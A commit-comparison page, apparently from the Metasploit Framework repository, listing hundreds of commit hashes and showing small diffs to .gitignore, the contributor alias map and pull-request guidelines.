Compare commits
899 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 226ded8d7e | |||
| ae1ffa583d | |||
| 53f209f2f6 | |||
| 954dee752b | |||
| 52b81f32b1 | |||
| 250e6676ca | |||
| 5c447a6b13 | |||
| 61f1e7e9c2 | |||
| 4bb93eebb3 | |||
| 4a6b2ef8de | |||
| 83160b7e49 | |||
| 1a22ac05df | |||
| cd858a149f | |||
| 89c3b6f399 | |||
| 03e14ec86f | |||
| 95b82219a3 | |||
| 222c85c343 | |||
| 72c88e5bde | |||
| 8d2bdb2a71 | |||
| b4a7562054 | |||
| bcf0062d47 | |||
| 3b3b4723c2 | |||
| 0832833350 | |||
| 0b73786e10 | |||
| 1065b4cfe2 | |||
| f2eb4b88a1 | |||
| 455ba42f5b | |||
| 20947cd6cd | |||
| b6dff719f3 | |||
| 3955c4332d | |||
| 139d431230 | |||
| 0c618cccef | |||
| 4478136065 | |||
| 51a2354fea | |||
| 87d34cfbba | |||
| ee89b20ab7 | |||
| 265adebd50 | |||
| e3d1f8e97b | |||
| 5a4f0cf72f | |||
| c66ea5ff8f | |||
| d4c82868de | |||
| 42462f03e2 | |||
| 3d4d7aae14 | |||
| 0f4d26af19 | |||
| 2a61450511 | |||
| b081dbf703 | |||
| 3eb3c5afa2 | |||
| 91417e62a8 | |||
| bc9a402d9e | |||
| 2b6576b038 | |||
| c64d91457f | |||
| 2fa4c7073b | |||
| e154aafaaa | |||
| 60937ec5e9 | |||
| 667c3566e5 | |||
| 4228868c29 | |||
| 1f63f8f45b | |||
| b3402a45f7 | |||
| b37dc8ea27 | |||
| b25b2a5188 | |||
| 5f8ef6682a | |||
| bf77e14bef | |||
| 870669bdf7 | |||
| e70402a130 | |||
| 498657ab35 | |||
| 0778b77f7b | |||
| 7730e0eb27 | |||
| 906d480264 | |||
| 8c70086170 | |||
| 2fed51bb18 | |||
| 62d28f10cb | |||
| 4e274d8f1b | |||
| d34579f1f0 | |||
| 1733d3e1f1 | |||
| 1e7663c704 | |||
| b4846e5793 | |||
| d38e9f8ceb | |||
| f4e4a5dcf3 | |||
| ba79579202 | |||
| 0fd833676e | |||
| 4e678e4ce6 | |||
| 1384c0480d | |||
| a6ba386728 | |||
| 6a035b7e48 | |||
| 1a7286f625 | |||
| 6160ff8cb2 | |||
| 6386d9daca | |||
| e08c4a8bef | |||
| 42d6c9443d | |||
| 8489485cfd | |||
| ea0ebf2e3b | |||
| c2c05a820a | |||
| e56e801c12 | |||
| d57e4d6349 | |||
| 09ad342b67 | |||
| 3fc46451d5 | |||
| 3851db7bcb | |||
| 1cb01ee876 | |||
| eb73a6914d | |||
| 3f530f1896 | |||
| b027176799 | |||
| 280216d74d | |||
| 87b27951cf | |||
| 79a84fb320 | |||
| a848d3948c | |||
| de16a6d536 | |||
| c64e1b8fe6 | |||
| cb04ff48bc | |||
| 8654baf3dd | |||
| 89417304b0 | |||
| f98efb1345 | |||
| 9750c43c4b | |||
| 7ca7682d17 | |||
| 3d1289dac3 | |||
| 51c457dfb3 | |||
| ae59c4ae74 | |||
| 3b64b891a6 | |||
| 746ba4d76c | |||
| 106f26587e | |||
| 009089ead7 | |||
| b888ff59ea | |||
| 230903562f | |||
| 4055fd1930 | |||
| dae1679245 | |||
| 02e065dae6 | |||
| d59b6d99ee | |||
| 97d11a7041 | |||
| e7aa658893 | |||
| 766c0cc539 | |||
| a8d9a5c02c | |||
| 7538b3dcf8 | |||
| 11f94a6efc | |||
| 07e210c143 | |||
| 036d0502db | |||
| 2aca610095 | |||
| 7d8dc9bc82 | |||
| ec67db03f1 | |||
| b48518099c | |||
| 0deac80d61 | |||
| 3ea3d95744 | |||
| 14a387e4eb | |||
| 2f6e0fb58c | |||
| e16c57ed07 | |||
| 96dbf627ae | |||
| d098def0f2 | |||
| 45801bc44e | |||
| bddf5edcf1 | |||
| 554a0c5ad7 | |||
| 8f7d0eae0c | |||
| be4f55aa2f | |||
| a48487578c | |||
| 4c15e5e33a | |||
| 614ede9363 | |||
| 160c49721b | |||
| abf435d6c2 | |||
| 5309f2e4fb | |||
| 50c918f889 | |||
| b34201e65c | |||
| ba0da52274 | |||
| 21e6211e8d | |||
| 3b13adba70 | |||
| 4c12c2f6c5 | |||
| e699d3f05b | |||
| 38138e66d2 | |||
| 10653fadb1 | |||
| d46c3a1d8c | |||
| b2a521475a | |||
| 8bda3c6382 | |||
| 1d6fa11c4f | |||
| 190bac6e0a | |||
| 5a1cd24350 | |||
| 0972005b24 | |||
| 1d33c9aa88 | |||
| 73b362cade | |||
| d807a83bb1 | |||
| b66621af0d | |||
| 219f9d5d57 | |||
| 40240662db | |||
| 9fa1c597b1 | |||
| 8ad38aec2f | |||
| d1f65b27b8 | |||
| 2b75710fce | |||
| 0afbc4f8ac | |||
| 0c5765d572 | |||
| 1e1866f583 | |||
| 3a254a9441 | |||
| c682490c1b | |||
| 6c7cc061ea | |||
| ef2899dfd4 | |||
| 7b4bb75294 | |||
| ee40c9d809 | |||
| 2525eab996 | |||
| 1f5fbd4a67 | |||
| 05afaa1162 | |||
| bdf073516b | |||
| 2a703d6cec | |||
| f2a608b400 | |||
| 5b8b15e578 | |||
| 322fc11225 | |||
| dbe31766af | |||
| af137f3ec3 | |||
| c3635e0903 | |||
| 288b39e37f | |||
| 3987c2c0d8 | |||
| 9cb4880747 | |||
| 864989cf6c | |||
| be65f2c4d3 | |||
| 952c2f9d1e | |||
| a0c42f5dd2 | |||
| 4720d77c3a | |||
| c21971cb4e | |||
| dadafd1fdf | |||
| cce1ae6026 | |||
| f7562c09b2 | |||
| c35e7fb63f | |||
| bebff786b7 | |||
| 249379849d | |||
| 21f5da29d4 | |||
| df15eebdf8 | |||
| 1b6bd927d0 | |||
| 1016cb675d | |||
| 72caeaa72f | |||
| 71a2446c0e | |||
| 035a50de01 | |||
| b1efd4e749 | |||
| dbbe6a831a | |||
| 128887bfb1 | |||
| 780e83dabb | |||
| 4cbb3bb9b6 | |||
| 8e71004d12 | |||
| 352d63480d | |||
| bc42ac5761 | |||
| ec63f8feaf | |||
| 5b7fc0c275 | |||
| 2008190f40 | |||
| a1e51ffb0c | |||
| 7e9c5f9011 | |||
| 634ee93de4 | |||
| 390f69313a | |||
| 32f1c83c9e | |||
| 2e631cab5b | |||
| c6b309d5c9 | |||
| 471cc277ba | |||
| 01f08da345 | |||
| 8bd6db8bd7 | |||
| b49a847c98 | |||
| 51bb950201 | |||
| 5a9f2423c4 | |||
| b0a0544627 | |||
| 56b1565955 | |||
| c93e88f3a3 | |||
| b58931f803 | |||
| b057a9486c | |||
| a54945c82c | |||
| ff63e6e05a | |||
| 089816236d | |||
| 9c8e351ba8 | |||
| e90e6c4885 | |||
| ec2f8fcc71 | |||
| d6fd2a49d4 | |||
| 650034b600 | |||
| c8deb54938 | |||
| 8d8e1f80f5 | |||
| c8d009209f | |||
| b954b6d5c1 | |||
| 26da2a2ce5 | |||
| 6d8dd24e41 | |||
| 01c5662b61 | |||
| 14c9569afa | |||
| 722133491d | |||
| b8edbec125 | |||
| ba9a59cfe6 | |||
| 9cb9a2f69d | |||
| e3801c425b | |||
| 2041870e62 | |||
| 20d7e9a7a7 | |||
| b13d0f879a | |||
| b08d1ad8d8 | |||
| 3ed6632f88 | |||
| 03dca5fee2 | |||
| 33ce3ec3ed | |||
| 7734279147 | |||
| ded4d3146c | |||
| 1ea425aff1 | |||
| 8968a6603e | |||
| 927b3a88a1 | |||
| db2850b51c | |||
| b6b52952f4 | |||
| 01d0d1702b | |||
| 9862a2fc25 | |||
| 78bfced8dd | |||
| b2c3267a2a | |||
| ee90e5e96d | |||
| ea94e9752a | |||
| 5e993a6823 | |||
| fcdb32795d | |||
| 7b5e3a880d | |||
| 3e6fed7958 | |||
| 0304b2c1e2 | |||
| 8f928c6ca1 | |||
| 815c426b4d | |||
| 621f3fa5a9 | |||
| 556620d981 | |||
| f11b84f106 | |||
| e9350986a4 | |||
| 1a15fc1c2e | |||
| 8f73167b15 | |||
| f164afaef8 | |||
| c3e8f81982 | |||
| af3ac60e28 | |||
| 310332b521 | |||
| b869b890c7 | |||
| 2471e8bc8c | |||
| 277950cc79 | |||
| f6751f3c90 | |||
| a79f6fccad | |||
| 43833c8756 | |||
| 2b016e0216 | |||
| 7b1d9596c7 | |||
| 117a0945b1 | |||
| 627fffdb08 | |||
| 128f802928 | |||
| 79fd648bbe | |||
| 6ab0dbc321 | |||
| 2c7ffcc3a8 | |||
| 7211936f96 | |||
| 8817de793a | |||
| fc56ab6722 | |||
| 47f2cef22e | |||
| e79c3ba7c0 | |||
| 108c3961e2 | |||
| 963437d5e7 | |||
| c2a5da08af | |||
| ffa340500f | |||
| 52c6daa0f2 | |||
| b75084249a | |||
| 92a592d303 | |||
| fdce5bc30c | |||
| 0a40e7d8f5 | |||
| 55f27fb6fe | |||
| 25f49c0091 | |||
| 202969fae9 | |||
| 48410f3ab2 | |||
| bbe4162320 | |||
| d0e1c67c18 | |||
| 201750a31b | |||
| 2cc6565cc9 | |||
| 09dcd1dade | |||
| deecb24967 | |||
| 54fa43030d | |||
| 892f354ece | |||
| 47cf6d5edf | |||
| 1c8556d8e0 | |||
| a362d8b9c8 | |||
| fee361dae0 | |||
| 532ea5d4c4 | |||
| 7a321c7350 | |||
| c23be2bb79 | |||
| bd566da5ca | |||
| 45401bfe45 | |||
| 4ec69236d2 | |||
| d923a5d42d | |||
| 899ea558e3 | |||
| b4b3a84fa5 | |||
| 82e092c2df | |||
| a14f4992ab | |||
| 1164c025a2 | |||
| 1e0dcb9268 | |||
| 21bede1166 | |||
| e404dfeaea | |||
| 049b322ae4 | |||
| 8490a3b775 | |||
| 0390ed4d6e | |||
| 8de508c4e0 | |||
| 2f3f655352 | |||
| 74b4087d5c | |||
| 6290cb681f | |||
| 6e7f07f0f3 | |||
| 8b430826c6 | |||
| 5f9f3259f8 | |||
| 7f341336b2 | |||
| 85937ab839 | |||
| 7d638a0975 | |||
| 054ac5ac19 | |||
| e29d5b9efe | |||
| 0f8efec001 | |||
| f9f47f7a79 | |||
| 5dc7d4b16e | |||
| 85dfec0cf5 | |||
| 58e37931c5 | |||
| 5a8469d1cb | |||
| ef322ab9aa | |||
| 4b77de2174 | |||
| cfc368ab65 | |||
| 6575be72de | |||
| 5181fa53ba | |||
| b9891aab27 | |||
| 9b4028d2d7 | |||
| 54dfcee665 | |||
| ec4769fade | |||
| 05ef5316df | |||
| eeba35f87a | |||
| cf95c9f7f5 | |||
| 78335f8e20 | |||
| f246aa0b58 | |||
| 54092177a2 | |||
| 3fe4ffb225 | |||
| 12812650c0 | |||
| 4ed12d7077 | |||
| 844c13dc17 | |||
| 3850431966 | |||
| 6108352683 | |||
| 10e45bbebe | |||
| c45f30a7a9 | |||
| bca0d716c0 | |||
| 1bf03ab4ec | |||
| 70a79bb0e8 | |||
| 2e97a08954 | |||
| 02d40eb576 | |||
| 4b01213fb5 | |||
| a1bd640eff | |||
| d42d9f8557 | |||
| 9663f88fdc | |||
| 159446ce92 | |||
| 6e1b6e96a9 | |||
| f0cd25dcee | |||
| 1401a61f59 | |||
| fec2301fc8 | |||
| cdf3c63af9 | |||
| 343f4010bd | |||
| dbcdc300e5 | |||
| d6c7ac51d6 | |||
| 20c2a10e8a | |||
| 118caa13bf | |||
| 23399326c2 | |||
| 3edb0b3625 | |||
| 31ea58d7f0 | |||
| 1ecef265a1 | |||
| e2b9225907 | |||
| afbeb2b668 | |||
| d1281b6594 | |||
| 0a85f1d233 | |||
| 068a4007de | |||
| 8a777bec41 | |||
| c489c5ce3e | |||
| 5e39f895cf | |||
| 68bd4e2375 | |||
| 80563b2c0f | |||
| 55457ef977 | |||
| 80c65ec4fc | |||
| d186844cde | |||
| a796a1bc63 | |||
| 2dba09a9ce | |||
| dcddd2d671 | |||
| 39fa8bf2d4 | |||
| 3d93c55174 | |||
| 4e63591ce8 | |||
| ee2d1d4fdc | |||
| 356f4fd54d | |||
| 0a83b34a85 | |||
| d90f0779f8 | |||
| 97f9ca4028 | |||
| e3e360cc83 | |||
| ac5d2709cf | |||
| d5d0b9e9b8 | |||
| 0660880332 | |||
| 70a7415185 | |||
| fcf8cda22f | |||
| 5f08591fef | |||
| c2f3d411c3 | |||
| fd07da3519 | |||
| 2480781409 | |||
| c2b4e22b46 | |||
| 1e7202cf9b | |||
| 1c20122648 | |||
| 058115c21f | |||
| 15a1a9ed71 | |||
| 5d4cc7ab40 | |||
| 409e26351b | |||
| 6c3871bd0c | |||
| 4c5fd78937 | |||
| 5bc513d6cd | |||
| 9f280d714e | |||
| 3fb9eae687 | |||
| b38b116c9a | |||
| 5e1b7d8c0f | |||
| 63d8787101 | |||
| 0fd83b50d1 | |||
| ff741fbc35 | |||
| 92522138c5 | |||
| 08d08d2c95 | |||
| 464808d825 | |||
| 92c70dab6f | |||
| ffabf26593 | |||
| 7a36d03fe3 | |||
| 47674c77ad | |||
| fbd0bc4308 | |||
| e9e4e7d069 | |||
| 40d7de05ef | |||
| fc79f3a2a9 | |||
| 579a3bcf7c | |||
| 47e4321424 | |||
| a3b08418b9 | |||
| f3b0fc320d | |||
| 35e3fb3e2f | |||
| bc293e2a8b | |||
| 18a3bf5f62 | |||
| 048741660c | |||
| a1b1b31f98 | |||
| f5e6eccce2 | |||
| 3e94abe555 | |||
| 18f6d2143c | |||
| 6072697126 | |||
| 140621ad9b | |||
| de5152401a | |||
| 8697d3d6fb | |||
| 0126ec61d8 | |||
| b3f59ebd19 | |||
| 07f7e5e148 | |||
| 4b3f6c5d29 | |||
| 039e8f5899 | |||
| c2a063c8ae | |||
| 1e053c110a | |||
| df1a9bee13 | |||
| 3842753ce4 | |||
| f85e7972d1 | |||
| 0f2c1d886c | |||
| 42697b46ac | |||
| 9cb57d78d7 | |||
| 81f30ca962 | |||
| 69e2d05a5d | |||
| b9d0bcc193 | |||
| c7bacebd5b | |||
| 4b8f572976 | |||
| c50f935412 | |||
| 15a3d739c0 | |||
| 129b449355 | |||
| 718f36f1af | |||
| 3f9d0630ce | |||
| e692e32dae | |||
| c816af1e4d | |||
| 5a92dc205e | |||
| 2b85b210e9 | |||
| 95517b4a45 | |||
| bbaa3ad9f9 | |||
| 6cb2a6970e | |||
| c4a58fbc6c | |||
| 6905a29b10 | |||
| 856a4c7684 | |||
| 6fe7698b13 | |||
| a84614f2c0 | |||
| ce7c6496dd | |||
| 3f25c27e34 | |||
| ddfd015310 | |||
| 6507e520c7 | |||
| d8f6be0a3f | |||
| 1db10eec39 | |||
| 3feff7533b | |||
| b4af7eb039 | |||
| 3aff0050ee | |||
| 01a951d5aa | |||
| 5405b0f3db | |||
| 34130592f1 | |||
| c02a05f913 | |||
| 1225a93179 | |||
| ba72d3fd92 | |||
| c130495968 | |||
| 813777a8e4 | |||
| fee54b4a5a | |||
| 98ad2489db | |||
| 0af2fa7164 | |||
| ebde552982 | |||
| 9ea0b8f944 | |||
| 856baf5f32 | |||
| ea988eaa72 | |||
| 674470c5de | |||
| 6ea9d7a6f7 | |||
| 050b604e77 | |||
| 0e5c5559cf | |||
| cfb034fa95 | |||
| baa603b637 | |||
| cd207df6b8 | |||
| 74103f3760 | |||
| c6b1955a5a | |||
| 312175eed3 | |||
| 4fb7472391 | |||
| f5bfc84453 | |||
| 0451d4f079 | |||
| bca88d8443 | |||
| 81fa068ef0 | |||
| 24eba6b831 | |||
| 8a68e86a0a | |||
| 48714184f3 | |||
| 78775f7833 | |||
| 52db99bfae | |||
| fe4cfd7e3e | |||
| 1d27538545 | |||
| 625d60b52a | |||
| 17f0a0770f | |||
| 980658c9f4 | |||
| 4a8011eb9e | |||
| cc30ece6ce | |||
| 3ed85b6b25 | |||
| a7c778b852 | |||
| afc942c680 | |||
| bd4dacdbc3 | |||
| 72ed478b59 | |||
| 40f7fd46f9 | |||
| 563b8206c5 | |||
| 337e48dc07 | |||
| 3a39d8020d | |||
| 52bbd22a81 | |||
| b321f72b41 | |||
| f7d261516d | |||
| b7139da624 | |||
| 776dd57803 | |||
| 4de337e6d9 | |||
| 1ba33ff7f8 | |||
| a2a97d0271 | |||
| 2e03c3511e | |||
| 7831cb53c5 | |||
| f63273b172 | |||
| bd6eecf7b0 | |||
| 8c7796c6d3 | |||
| 46eff4c96d | |||
| ec1248d7af | |||
| 5adc360b2a | |||
| 6af3c4ab99 | |||
| 3147553d4f | |||
| 26680f58ca | |||
| fd4a51cadb | |||
| 46239d5b0d | |||
| 17974d74e2 | |||
| 6cd1da414f | |||
| d63dc5845e | |||
| 16b4829d57 | |||
| 63db330a02 | |||
| 027f538300 | |||
| cd84b42e50 | |||
| c0093381d7 | |||
| b0bf901b22 | |||
| 199ae04b57 | |||
| ba40d0e06f | |||
| 943b07f46f | |||
| 68fdeb6031 | |||
| 6da8c22171 | |||
| 7143095b4b | |||
| 312342b0fd | |||
| a58a3d4330 | |||
| 5f4153308c | |||
| 207d92a125 | |||
| 1b4a6a7981 | |||
| 233186c833 | |||
| 6d094a18c0 | |||
| 2534ef76f3 | |||
| ba6d00cee2 | |||
| d470371694 | |||
| 7cdadca79b | |||
| dff60d96c8 | |||
| 6f5edb08fe | |||
| 37efff59ce | |||
| 0d7b587b5d | |||
| f0bb125556 | |||
| 600704c053 | |||
| 52bcade72c | |||
| ab27c1b701 | |||
| 158176aa05 | |||
| eaaa9177d5 | |||
| db85f25998 | |||
| 036ba8057a | |||
| f13d91f685 | |||
| e8304e684c | |||
| 6ae4d1576e | |||
| 5260031991 | |||
| 75a34c4aca | |||
| 815685992a | |||
| 6d72b5b19f | |||
| 9450906ca4 | |||
| f47128ccdd | |||
| 53b989f283 | |||
| 16030cda30 | |||
| 9de27e0b9c | |||
| 27b5d961fd | |||
| c4aa99fdac | |||
| cfde0a0ade | |||
| 7e84c808b2 | |||
| b59d10d9c4 | |||
| d8d6ab3ae8 | |||
| 60c60bf004 | |||
| e4c55f97db | |||
| 9f19d2c210 | |||
| d3a13f4b0c | |||
| 4354b5d5d6 | |||
| 08f1e68487 | |||
| 99790e343d | |||
| c2699ef194 | |||
| 2f837d5d60 | |||
| 8d76bdb8af | |||
| c553353fab | |||
| 88b60db5fb | |||
| d7cd10f586 | |||
| da532ecc5e | |||
| 91658d2a61 | |||
| 8ca571aee3 | |||
| 0114d2cf0b | |||
| 290e1eb0fa | |||
| 5420848c49 | |||
| f034952852 | |||
| 09e721c4eb | |||
| d5c2a8e3c8 | |||
| d371fd0798 | |||
| ba9a693435 | |||
| 064d6b3f51 | |||
| 2423a336a4 | |||
| 1dad9bf7fa | |||
| 184802d7d1 | |||
| f333481fb8 | |||
| 7c9227f70b | |||
| a15c79347b | |||
| 9128ba3e57 | |||
| 43c82f764d | |||
| e0cf4721c5 | |||
| 92b62d010f | |||
| 7dfb06d632 | |||
| dbc1cf4141 | |||
| 4f42cc8c08 | |||
| 22bea44785 | |||
| 68d647edf1 | |||
| c99505923f | |||
| ffa4177575 | |||
| 52d5028548 | |||
| 2047475901 | |||
| 7f92088242 | |||
| d72492fe30 | |||
| 3109bfb8e4 | |||
| 98cfcc65ae | |||
| eb2398a446 | |||
| 54c4771626 | |||
| a27d10c200 | |||
| fb678564b1 | |||
| 8ce59ae330 | |||
| c35322ec3f | |||
| 3163af603d | |||
| 057947d7e8 | |||
| 9b5e3010ef | |||
| df55f9a57c | |||
| 2c4b387eb2 | |||
| 2afcda9d49 | |||
| 504a94bf76 | |||
| 14adcce8bf | |||
| 61f9cc360b | |||
| 7f643a7b8d | |||
| 4dcddb2399 | |||
| f7382f5b3b | |||
| 01a691a46c | |||
| 00b18c8ac5 | |||
| 552b672893 | |||
| a3d2cba698 | |||
| c2cf992560 | |||
| 96c459c71d | |||
| 8612eaa553 | |||
| fb95abc645 | |||
| 14e1baf331 | |||
| a298129463 | |||
| 19c4d5b02b | |||
| c65401026a | |||
| 05680ab6f3 | |||
| 028b1ac251 | |||
| 5921ac7b47 | |||
| 3dfdf1d936 | |||
| a23ce05752 | |||
| 48c25dd863 | |||
| 3df4c38e82 | |||
| 7b024d1a72 | |||
| 14cb85250e | |||
| ff4d150449 | |||
| 9d545b0a05 | |||
| b5987e1d51 | |||
| 9807f9b796 | |||
| 54f4389d31 | |||
| 5cfaef899e | |||
| 77a62ff7c0 | |||
| af86d63498 | |||
| f0b945e4c4 | |||
| d328258db4 | |||
| 43f79f34a9 | |||
| d709229f52 | |||
| 5c6b93c1cf | |||
| 3bc020178f | |||
| e382b2e468 | |||
| c7b684dbd7 | |||
| ca76e8f290 | |||
| 5bf8891c54 | |||
| 266d29ca4a | |||
| a6020ca010 | |||
| 928a706135 | |||
| 2f8562fba4 | |||
| 76e8e8f6c7 | |||
| adb8098b8c | |||
| aae7c25603 | |||
| eb26202961 | |||
| 77a81b2e78 | |||
| 4242bbdf55 | |||
| d0b87131a9 | |||
| 6af9a093d2 | |||
| 5e059e0c5b | |||
| d3cdcd5f99 | |||
| fe1b24e666 | |||
| f29463f119 | |||
| 2694907b79 | |||
| cf62218139 | |||
| efc64eaa5f | |||
| 0e69040a6a | |||
| df2346d9e0 | |||
| 7e34d1e1cf | |||
| 6581fbd294 | |||
| 9fc07eeb99 | |||
| fda4c62c1f | |||
| b613dfefb4 | |||
| a71e853c2a | |||
| 87398d5195 | |||
| 506356e15d | |||
| 99a573a013 | |||
| 706d51389e | |||
| a16f4b5167 | |||
| d018bba301 | |||
| 9f738c3e41 | |||
| 8fccb26446 | |||
| 31bbcfca49 | |||
| c621f689b2 | |||
| 100300c819 | |||
| 34d0fc07bc | |||
| 39cc1fee1c | |||
| b5284375a7 | |||
| 11fedd7353 | |||
| a6405beeda | |||
| 41bcdcce61 | |||
| bc257ea628 | |||
| 68b83c6e3a | |||
| 815a2600a8 | |||
| 640e0b9ff7 | |||
| a4e7e373f3 | |||
| 6a4a9742e8 | |||
| c6db5bf34a | |||
| c9dd863085 | |||
| 36a9ef83ab | |||
| e8ac568352 | |||
| 08394765df | |||
| 92d07f74ff | |||
| 8bccfef571 | |||
| 4a4904149b | |||
| 4a3ab9d464 | |||
| 314d73546c | |||
| 5099124f3d | |||
| 7b1148c438 | |||
| 71a674434a | |||
| bbe35ac21a | |||
| 1a97042a0d | |||
| 57a3a2871b | |||
| f466464e80 | |||
| 9268f66540 | |||
| c16a02638c | |||
| 4676d70918 | |||
| 4a95e675ae | |||
| 2edd6869fc | |||
| 816bc91e45 | |||
| f0d403124c | |||
| cda104920e | |||
| c322a4b314 | |||
| dc3a185519 | |||
| 5adf5be983 | |||
| dfb2b95e46 | |||
| 3da451795c | |||
| 2319629dd8 | |||
| 4970047198 | |||
| 4c2e130470 | |||
| 1ea7cf27a3 | |||
| a808c9fe63 | |||
| 629bc00696 | |||
| 19bd7b98f4 | |||
| c8c5549b19 | |||
| 4ade689412 | |||
| a65a4929f7 | |||
| 392d10a099 | |||
| 091cdccccf | |||
| 7f3c7a7257 | |||
| a73f738f27 | |||
| 4b51b0b7ea | |||
| e12dea3521 | |||
| 869bf884c6 | |||
| df9d46eec2 | |||
| cd86db2734 | |||
| 53d4e31844 | |||
| 49beca4e40 | |||
| dbcef2c755 | |||
| d5dd5d55a6 | |||
| aae86d8bc0 | |||
| 25eb311518 | |||
| c12ff44261 |
@@ -84,3 +84,4 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
@@ -16,30 +19,40 @@ ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -151,10 +164,11 @@ void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
|
||||
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
|
||||
@@ -45,6 +45,8 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Do** write [release notes] once a pull request is landed
|
||||
* **Don't** leave your pull request description blank.
|
||||
